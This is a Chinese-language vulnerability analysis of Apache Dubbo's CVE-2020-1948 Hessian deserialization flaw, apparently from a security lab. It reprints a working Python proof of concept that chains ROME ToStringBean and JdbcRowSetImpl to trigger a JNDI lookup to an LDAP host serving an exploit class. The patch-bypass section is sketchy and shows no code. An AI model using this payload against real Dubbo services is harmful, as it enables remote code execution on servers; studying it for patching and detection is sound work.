其他
Apache Dubbo 反序列化漏洞及其补丁绕过深度分析
文章来源:天融信阿尔法实验室
0x01 Apache Dubbo简介
Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,Dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有Dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东东,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSdl,以服务者与消费者的方式在Dubbo上注册)其核心部分包含:
远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。
Provider 暴露服务方称之为“服务提供者” Consumer 调用远程服务方称之为“服务消费者” Registry 服务注册与发现的中心目录服务称之为“服务注册中心” Monitor 统计服务的调用次数和调用时间的日志服务称之为“服务监控中心” Container 服务运行容器。
0x02 CVE-2020-1948 深度分析
首先观察一下网上已经公布的POC的代码
from hessian2 import new_object
from client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
0x03 补丁绕过分析
这次针对该漏洞的补丁非常简单,在分析该漏洞时说过在DecodeableRpcInvocation类的第131行有一个if 判断,以下是2.7.6版本中该判断的代码。
0x04 总结
此次漏洞是序列化传输到后台的数据被反序列化完成后,在后续的处理过程中的一个异常处理中进行了危险操作,从而触发了gadget。
推荐阅读
*印度政府封禁包括TikTok和微信在内的59款中国厂商开发的应用